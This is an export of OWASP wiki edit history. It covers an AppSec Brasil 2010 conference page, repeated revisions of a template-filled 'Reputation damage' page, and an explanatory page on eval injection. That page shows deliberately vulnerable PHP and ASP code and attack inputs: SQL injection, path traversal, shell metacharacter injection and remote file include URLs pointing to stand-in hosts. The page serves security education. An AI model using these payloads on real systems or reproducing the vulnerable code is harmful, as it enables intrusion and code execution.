* Understanding and using O2's AST .NET Scanner to find vulnerabilities in HacmeBank (White-Box)&lt;br /&gt;
* Connecting the source-code traces with the web exploits to create a unified view of the vulnerabilties&lt;br /&gt;
* Create 'Vulnerability-driven Unit Tests' to be delivered to Developers, QA/Testers and Managers&lt;br /&gt;
* Customizing and writing new APIs (for new or modified frameworks)&lt;br /&gt;
* Using O2 to consume results from open source tools and 3rd party commercial vendors&lt;br /&gt;
* Case Study: Microsoft ASP.NET MVC&lt;br /&gt;
* Case Study: Microsoft Sharpoint&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Instructor'''&lt;br /&gt;
&lt;br /&gt;
The course is delivered by Dinis Cruz who the lead developer of the OWASP O2 Platform and has created and delivered a number of .NET Security training courses&lt;br /&gt;
&lt;br /&gt;
== Location ==&lt;br /&gt;
&lt;br /&gt;
Please check the ''Venue'' tab in this page.&lt;br /&gt;
&lt;br /&gt;
==== Venue  ====&lt;br /&gt;
&lt;br /&gt;
The event will be held in Campinas, SP, Brazil at: [http://www.cpqd.com.br Fundação CPQD]. &lt;br /&gt;
&lt;br /&gt;
You can check the location at [http://maps.google.com.br/maps/ms?source=embed&amp;amp;hl=pt-BR&amp;amp;geocode=&amp;amp;ie=UTF8&amp;amp;update=1&amp;amp;t=h&amp;amp;msa=0&amp;amp;msid=104978801628275418750.000462bf2d1a49a7571af&amp;amp;ll=-22.83125,-47.044315&amp;amp;spn=0.03718,0.04034&amp;amp;z=14 Google Maps] &lt;br /&gt;
&lt;br /&gt;
''How to get there'' &lt;br /&gt;
&lt;br /&gt;
TBD &lt;br /&gt;
&lt;br /&gt;
==== Registration  ====&lt;br /&gt;
&lt;br /&gt;
== Online Registration ==&lt;br /&gt;
&lt;br /&gt;
Registration form is available at https://creator.zoho.com/lucas.ferreira/appsec/&lt;br /&gt;
&lt;br /&gt;
== Conference Fees  ==&lt;br /&gt;
&lt;br /&gt;
'''Access to conference:'''&lt;br /&gt;
&lt;br /&gt;
* Before Sep 16th:  400.00 BRL&lt;br /&gt;
* Before Oct 16th:  500.00 BRL&lt;br /&gt;
* Before Nov 12th:  550.00 BRL&lt;br /&gt;
* On site:                  600.00 BRL&lt;br /&gt;
&lt;br /&gt;
On site registration subject to the availability of seats.&lt;br /&gt;
&lt;br /&gt;
'''Trainings'''&lt;br /&gt;
&lt;br /&gt;
* One day:    450.00 BRL&lt;br /&gt;
* Two days:  900.00 BRL&lt;br /&gt;
&lt;br /&gt;
'''Discounts'''&lt;br /&gt;
&lt;br /&gt;
* OWASP Member:  100.00 BRL (Note: This discount is greater than the OWASP USD 50.00 annual fee. Check [http://www.google.com.br/#q=50+usd+in+brl&amp;amp;fp=1  here]&lt;br /&gt;
* Student:                 100.00 BRL (Note: student ID required).&lt;br /&gt;
* Special discounts available for groups registrations. Please send inquiries to organizacao2010@appsecbrasil.org&lt;br /&gt;
&lt;br /&gt;
==== Committees  ====&lt;br /&gt;
&lt;br /&gt;
== Conference Committee ==&lt;br /&gt;
&lt;br /&gt;
OWASP Global Conferences Committee Chair: Mark Bristow &lt;br /&gt;
&lt;br /&gt;
OWASP [[Brazilian]] Chapter Leader: Wagner Elias &lt;br /&gt;
&lt;br /&gt;
AppSec Brasil 2010 Organization Team (organizacao2010 at appsecbrasil.org): &lt;br /&gt;
&lt;br /&gt;
*Conference General Chair: Lucas C. Ferreira &lt;br /&gt;
*Tutorials Chair: Eduardo Camargo Neves &lt;br /&gt;
*Tracks Chair: Luiz Otávio Duarte &lt;br /&gt;
*Local Chair: Alexandre Melo Braga&lt;br /&gt;
&lt;br /&gt;
=== Team Members  ===&lt;br /&gt;
&lt;br /&gt;
*Alexandre Melo Braga &lt;br /&gt;
*Eduardo Camargo Neves &lt;br /&gt;
*Lucas C. Ferreira &lt;br /&gt;
*Luiz Otávio Duarte &lt;br /&gt;
*Wagner Elias &lt;br /&gt;
*Eduardo Alves Nonato da Silva &lt;br /&gt;
*Leonardo Buonsanti &lt;br /&gt;
*Dinis Cruz &lt;br /&gt;
*Paulo Coimbra&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==  Programme Committee:==&lt;br /&gt;
* Alexandre Braga&lt;br /&gt;
* Carlos Serrao&lt;br /&gt;
* Eduardo alves&lt;br /&gt;
* Fernando Cima&lt;br /&gt;
* Leonardo Buonsanti&lt;br /&gt;
* Lucas Ferreira&lt;br /&gt;
* Luiz Duarte&lt;br /&gt;
* Nelson Uto&lt;br /&gt;
* Rodrigo Rubira&lt;br /&gt;
* Wagner Elias&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Travel ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Twitter ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;twitter&amp;gt;124443335&amp;lt;/twitter&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Links ====&lt;br /&gt;
&lt;br /&gt;
Blog: http://blog.appsecbrasil.org &lt;br /&gt;
&lt;br /&gt;
Twitter: http://twitter.com/owaspappsecbr &lt;br /&gt;
&lt;br /&gt;
Banner: http://www.owasp.org/images/3/31/AppSec_Brasil_2010_Banner.gif&lt;br /&gt;
&lt;br /&gt;
Powerpoint template: [[Media:OWASP_Presentation_Template_BrazilAppSec2010.ppt]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_AppSec_Conference]]&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:Reputation_damage&amp;diff=33633</id>
		<title>Category:Reputation damage</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:Reputation_damage&amp;diff=33633"/>
				<updated>2008-07-08T03:48:25Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Risk Factors */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Business Impact}}&lt;br /&gt;
&lt;br /&gt;
Last revision : '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
The image of an institution is built for years due to many factors, such&lt;br /&gt;
and reliability in service.&lt;br /&gt;
However its volatility is extremely high just because&lt;br /&gt;
only one incident, be it of any kind, so there is an damage to his reputation.&lt;br /&gt;
So an reputation damage is when a company has its image and credibility&lt;br /&gt;
shaken for any reason, such as an invasion by banking systems.&lt;br /&gt;
It is extremely difficult to measure the depreciation of the reputation of a company to one of its main asset: its image towards society.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
* Attacks against company assets &lt;br /&gt;
* Misuse of technological resources&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Short example name===&lt;br /&gt;
: A short example description, small picture, or sample code with [http://www.site.com links]&lt;br /&gt;
&lt;br /&gt;
===Short example name===&lt;br /&gt;
: A short example description, small picture, or sample code with [http://www.site.com links]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
* [[Technical Impact 1]]&lt;br /&gt;
* [[Technical Impact 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.link1.com&lt;br /&gt;
* [http://www.link2.com Title for the link2]&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:Reputation_damage&amp;diff=33632</id>
		<title>Category:Reputation damage</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:Reputation_damage&amp;diff=33632"/>
				<updated>2008-07-08T03:46:39Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Risk Factors */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Business Impact}}&lt;br /&gt;
&lt;br /&gt;
Last revision : '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
The image of an institution is built for years due to many factors, such&lt;br /&gt;
and reliability in service.&lt;br /&gt;
However its volatility is extremely high just because&lt;br /&gt;
only one incident, be it of any kind, so there is an damage to his reputation.&lt;br /&gt;
So an reputation damage is when a company has its image and credibility&lt;br /&gt;
shaken for any reason, such as an invasion by banking systems.&lt;br /&gt;
It is extremely difficult to measure the depreciation of the reputation of a company to one of its main asset: its image towards society.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
* Invasions&lt;br /&gt;
* Attacks against company assets &lt;br /&gt;
* Misuse of technological resources&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Short example name===&lt;br /&gt;
: A short example description, small picture, or sample code with [http://www.site.com links]&lt;br /&gt;
&lt;br /&gt;
===Short example name===&lt;br /&gt;
: A short example description, small picture, or sample code with [http://www.site.com links]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
* [[Technical Impact 1]]&lt;br /&gt;
* [[Technical Impact 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.link1.com&lt;br /&gt;
* [http://www.link2.com Title for the link2]&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:Reputation_damage&amp;diff=33631</id>
		<title>Category:Reputation damage</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:Reputation_damage&amp;diff=33631"/>
				<updated>2008-07-08T03:44:51Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Risk Factors */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Business Impact}}&lt;br /&gt;
&lt;br /&gt;
Last revision : '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
The image of an institution is built for years due to many factors, such&lt;br /&gt;
and reliability in service.&lt;br /&gt;
However its volatility is extremely high just because&lt;br /&gt;
only one incident, be it of any kind, so there is an damage to his reputation.&lt;br /&gt;
So an reputation damage is when a company has its image and credibility&lt;br /&gt;
shaken for any reason, such as an invasion by banking systems.&lt;br /&gt;
It is extremely difficult to measure the depreciation of the reputation of a company to one of its main asset: its image towards society.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
* Talk about the [[OWASP Risk Rating Methodology|factors]] that govern this business impact&lt;br /&gt;
* Try to be clear about the factors that make this impact serious&lt;br /&gt;
* Invasions, attacks against company resources, misuse of tecnology resources&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Short example name===&lt;br /&gt;
: A short example description, small picture, or sample code with [http://www.site.com links]&lt;br /&gt;
&lt;br /&gt;
===Short example name===&lt;br /&gt;
: A short example description, small picture, or sample code with [http://www.site.com links]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
* [[Technical Impact 1]]&lt;br /&gt;
* [[Technical Impact 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.link1.com&lt;br /&gt;
* [http://www.link2.com Title for the link2]&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:Reputation_damage&amp;diff=33630</id>
		<title>Category:Reputation damage</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:Reputation_damage&amp;diff=33630"/>
				<updated>2008-07-08T03:36:41Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Business Impact}}&lt;br /&gt;
&lt;br /&gt;
Last revision : '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
The image of an institution is built for years due to many factors, such&lt;br /&gt;
and reliability in service.&lt;br /&gt;
However its volatility is extremely high just because&lt;br /&gt;
only one incident, be it of any kind, so there is an damage to his reputation.&lt;br /&gt;
So an reputation damage is when a company has its image and credibility&lt;br /&gt;
shaken for any reason, such as an invasion by banking systems.&lt;br /&gt;
It is extremely difficult to measure the depreciation of the reputation of a company to one of its main asset: its image towards society.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
* Talk about the [[OWASP Risk Rating Methodology|factors]] that govern this business impact&lt;br /&gt;
* Try to be clear about the factors that make this impact serious&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Short example name===&lt;br /&gt;
: A short example description, small picture, or sample code with [http://www.site.com links]&lt;br /&gt;
&lt;br /&gt;
===Short example name===&lt;br /&gt;
: A short example description, small picture, or sample code with [http://www.site.com links]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
* [[Technical Impact 1]]&lt;br /&gt;
* [[Technical Impact 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.link1.com&lt;br /&gt;
* [http://www.link2.com Title for the link2]&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:Reputation_damage&amp;diff=33629</id>
		<title>Category:Reputation damage</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:Reputation_damage&amp;diff=33629"/>
				<updated>2008-07-08T03:35:21Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Business Impact}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
The image of an institution is built for years due to many factors, such&lt;br /&gt;
and reliability in service.&lt;br /&gt;
However its volatility is extremely high just because&lt;br /&gt;
only one incident, be it of any kind, so there is an damage to his reputation.&lt;br /&gt;
So an reputation damage is when a company has its image and credibility&lt;br /&gt;
shaken for any reason, such as an invasion by banking systems.&lt;br /&gt;
It is extremely difficult to measure the depreciation of the reputation of a company to one of its main asset: its image towards society.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
* Talk about the [[OWASP Risk Rating Methodology|factors]] that govern this business impact&lt;br /&gt;
* Try to be clear about the factors that make this impact serious&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Short example name===&lt;br /&gt;
: A short example description, small picture, or sample code with [http://www.site.com links]&lt;br /&gt;
&lt;br /&gt;
===Short example name===&lt;br /&gt;
: A short example description, small picture, or sample code with [http://www.site.com links]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
* [[Technical Impact 1]]&lt;br /&gt;
* [[Technical Impact 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.link1.com&lt;br /&gt;
* [http://www.link2.com Title for the link2]&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:Reputation_damage&amp;diff=33626</id>
		<title>Category:Reputation damage</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:Reputation_damage&amp;diff=33626"/>
				<updated>2008-07-08T03:30:13Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: New page:  The image of an institution is built for years due to many factors, such and reliability in service. However its volatility is extremely high just because only one incident, be it of any ...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
The image of an institution is built for years due to many factors, such&lt;br /&gt;
and reliability in service.&lt;br /&gt;
However its volatility is extremely high just because&lt;br /&gt;
only one incident, be it of any kind, so there is an damage to his reputation.&lt;br /&gt;
So an reputation damage is when a company has its image and credibility&lt;br /&gt;
shaken for any reason, such as an invasion by banking systems.&lt;br /&gt;
It is extremely difficult to measure the depreciation of the reputation of a company to one of its main asset: its image towards society.&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Direct_Dynamic_Code_Evaluation_(%27Eval_Injection%27)&amp;diff=33127</id>
		<title>Direct Dynamic Code Evaluation ('Eval Injection')</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Direct_Dynamic_Code_Evaluation_(%27Eval_Injection%27)&amp;diff=33127"/>
				<updated>2008-07-02T11:40:23Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Threat Agents */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
This attack consists in a script does not properly validate user inputs in the page parameter.  A remote user can supply a specially crafted URL to pass arbitrary code to an eval() statement which results in code execution.&lt;br /&gt;
&lt;br /&gt;
Note 1: This attack will execute the code with the same permission like the target web service, including operation system commands.&lt;br /&gt;
&lt;br /&gt;
Note 2: Eval injection is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
In this example an attacker can control all or part of an input string that is fed into an eval() function call&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
  $myvar = &amp;quot;varname&amp;quot;; &lt;br /&gt;
  $x = $_GET['arg']; &lt;br /&gt;
  eval(&amp;quot;\$myvar = \$x;&amp;quot;); &lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The argument of &amp;quot;eval&amp;quot; will be processed as PHP, so additional commands can be appended. For example, if &amp;quot;arg&amp;quot; is set to &amp;quot;10 ; system(\&amp;quot;/bin/echo uh-oh\&amp;quot;);&amp;quot;, additional code is run which executes a program on the server, in this case &amp;quot;/bin/echo&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
The following is a example of [[SQL Injection]], consider a web page has two fields to allow users to enter a Username and a Password. The code behind the page will generate a SQL query to check the Password against the list of Usernames: &lt;br /&gt;
 SELECT UserList.Username&lt;br /&gt;
 FROM UserList&lt;br /&gt;
 WHERE&lt;br /&gt;
 UserList.Username = 'Username'&lt;br /&gt;
 AND UserList.Password = 'Password'&lt;br /&gt;
&lt;br /&gt;
If this query returns exactly one row, then access is granted. However, if the malicious user enters a valid Username and injects some valid code (&amp;quot;' OR 1=1&amp;quot;) in the Password field, then the resulting query will look like this:&lt;br /&gt;
 SELECT UserList.Username&lt;br /&gt;
 FROM UserList&lt;br /&gt;
 WHERE&lt;br /&gt;
 UserList.Username = 'Username'&lt;br /&gt;
 AND UserList.Password = 'Password' OR '1'='1'&lt;br /&gt;
&lt;br /&gt;
In the example above, &amp;quot;Password&amp;quot; is assumed to be blank or some innocuous string. &amp;quot;1=1&amp;quot; will always be true and many rows will be returned, thereby allowing access. The final inverted comma will be ignored by the SQL parser. The technique may be refined to allow multiple statements to run, or even to load up and run external programs.&lt;br /&gt;
&lt;br /&gt;
===Example 3===&lt;br /&gt;
This is a example of a file was injected. Consider this PHP program (which includes a file specified by request):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
   $color = 'blue';&lt;br /&gt;
   if ( isset( $_GET['COLOR'] ) )&lt;br /&gt;
      $color = $_GET['COLOR'];&lt;br /&gt;
   require( $color . '.php' );&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;form&amp;gt;&lt;br /&gt;
   &amp;lt;select name=&amp;quot;COLOR&amp;quot;&amp;gt;&lt;br /&gt;
      &amp;lt;option value=&amp;quot;red&amp;quot;&amp;gt;red&amp;lt;/option&amp;gt;&lt;br /&gt;
      &amp;lt;option value=&amp;quot;blue&amp;quot;&amp;gt;blue&amp;lt;/option&amp;gt;&lt;br /&gt;
   &amp;lt;/select&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''&amp;lt;nowiki&amp;gt;http://evil/exploit&amp;lt;/nowiki&amp;gt;'''&amp;lt;/code&amp;gt; - injects a remotely hosted file containing an exploit.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''C:\ftp\upload\exploit'''&amp;lt;/code&amp;gt; - injects an uploaded file containing an exploit.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''..\..\..\..\ftp\upload\exploit'''&amp;lt;/code&amp;gt; - injects an uploaded file containing an exploit, using [[Path Traversal]].&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''C:\notes.txt%00'''&amp;lt;/code&amp;gt; - example using Null character, Meta character to remove the &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; suffix, allowing access to other files than .php. (PHP setting &amp;quot;magic_quotes_gpc = On&amp;quot;, which is default, would stop this attack)&lt;br /&gt;
&lt;br /&gt;
===Example 4===&lt;br /&gt;
A simple URL which demonstrate a way to do this attack:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://some-page/any-dir/index.php?page=&amp;lt;?include($s);?&amp;gt;&amp;amp;s=http://malicious-page/cmd.txt?  &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 5===&lt;br /&gt;
Shell Injection applies to most systems which allows software to programmatically execute Command line. Typical sources of Shell Injection is calls system(), StartProcess(), java.lang.Runtime.exec() and similar APIs.&lt;br /&gt;
&lt;br /&gt;
Consider the following short PHP program, which runs an external program called '''funnytext''' to replace a word the user sent with some other word)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;HTML&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
passthru ( &amp;quot; /home/user/phpguru/funnytext &amp;quot; &lt;br /&gt;
           . $_GET['USER_INPUT'] );&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program can be injected in multiple ways:&lt;br /&gt;
* '''`command`''' will execute '''command'''.&lt;br /&gt;
* '''$(command)''' will execute '''command'''.&lt;br /&gt;
* '''; command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''| command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''&amp;amp;&amp;amp; command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''|| command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''&amp;gt; /home/user/phpguru/.bashrc''' will overwrite file '''.bashrc'''.&lt;br /&gt;
* '''&amp;lt; /home/user/phpguru/.bashrc''' will send file '''.bashrc''' as input to '''funnytext'''.&lt;br /&gt;
&lt;br /&gt;
PHP offers [http://www.php.net/manual/en/function.escapeshellarg.php escapeshellarg()] and [http://www.php.net/manual/en/function.escapeshellcmd.php escapeshellcmd()] to perform '''encoding''' before calling methods. However, it is not recommended to trust these methods to be secure - also validate/sanitize input.&lt;br /&gt;
&lt;br /&gt;
===Example 6===&lt;br /&gt;
The following code is a vulnerable a eval() injection, because it don’t sanitize the user’s input (in this case: “username”), the program just save this input in txt file, and after the server will execute this file without any validation. In this case the user is able to insert a command instead of a username.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;%&lt;br /&gt;
	If not isEmpty(Request( &amp;quot;username&amp;quot; ) ) Then&lt;br /&gt;
		Const ForReading = 1, ForWriting = 2, ForAppending = 8&lt;br /&gt;
		Dim fso, f&lt;br /&gt;
		Set fso = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)&lt;br /&gt;
		Set f = fso.OpenTextFile(Server.MapPath( &amp;quot;userlog.txt&amp;quot; ), ForAppending, True)&lt;br /&gt;
		f.Write Request(&amp;quot;username&amp;quot;) &amp;amp; vbCrLf&lt;br /&gt;
		f.close&lt;br /&gt;
		Set f = nothing&lt;br /&gt;
		Set fso = Nothing&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;lt;h1&amp;gt;List of logged users:&amp;lt;/h1&amp;gt;&lt;br /&gt;
		&amp;amp;lt;pre&amp;amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
			Server.Execute( &amp;quot;userlog.txt&amp;quot; )&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;amp;lt;/pre&amp;amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
	Else&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;lt;form&amp;gt;&lt;br /&gt;
			&amp;lt;input name=&amp;quot;username&amp;quot; /&amp;gt;&amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; /&amp;gt;&lt;br /&gt;
		&amp;lt;/form&amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
	End If&lt;br /&gt;
%&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Insider]]&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Staff]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Direct Static Code Injection]]&lt;br /&gt;
*[[Code Injection]]&lt;br /&gt;
*[[:Category:Injection Attack | Injection Attacks]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
*http://secunia.com/cve_reference/CVE-2006-2005/?show_result=1&lt;br /&gt;
* http://en.wikipedia.org/wiki/Code_injection&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Direct_Static_Code_Injection&amp;diff=33126</id>
		<title>Direct Static Code Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Direct_Static_Code_Injection&amp;diff=33126"/>
				<updated>2008-07-02T11:40:04Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Controls */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Direct Static Code Injection attack consists on injecting code directly onto the resource used by application while processing a user request. This is normally performed by tampering libraries and template files which are created based on user input without proper data sanitization. &lt;br /&gt;
Upon a user request to the modified resource, the actions defined on it will be executed at server side in the context of web server process.&lt;br /&gt;
&lt;br /&gt;
[[Server-Side Includes (SSI) Injection | Server Side Includes]] is considered a type of direct static code injection. It should not be confused with other types of code injection, like [[Cross Site Scripting | XSS]] (“Cross Site Scripting” or “HTML injection”) where the code is executed on client side.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
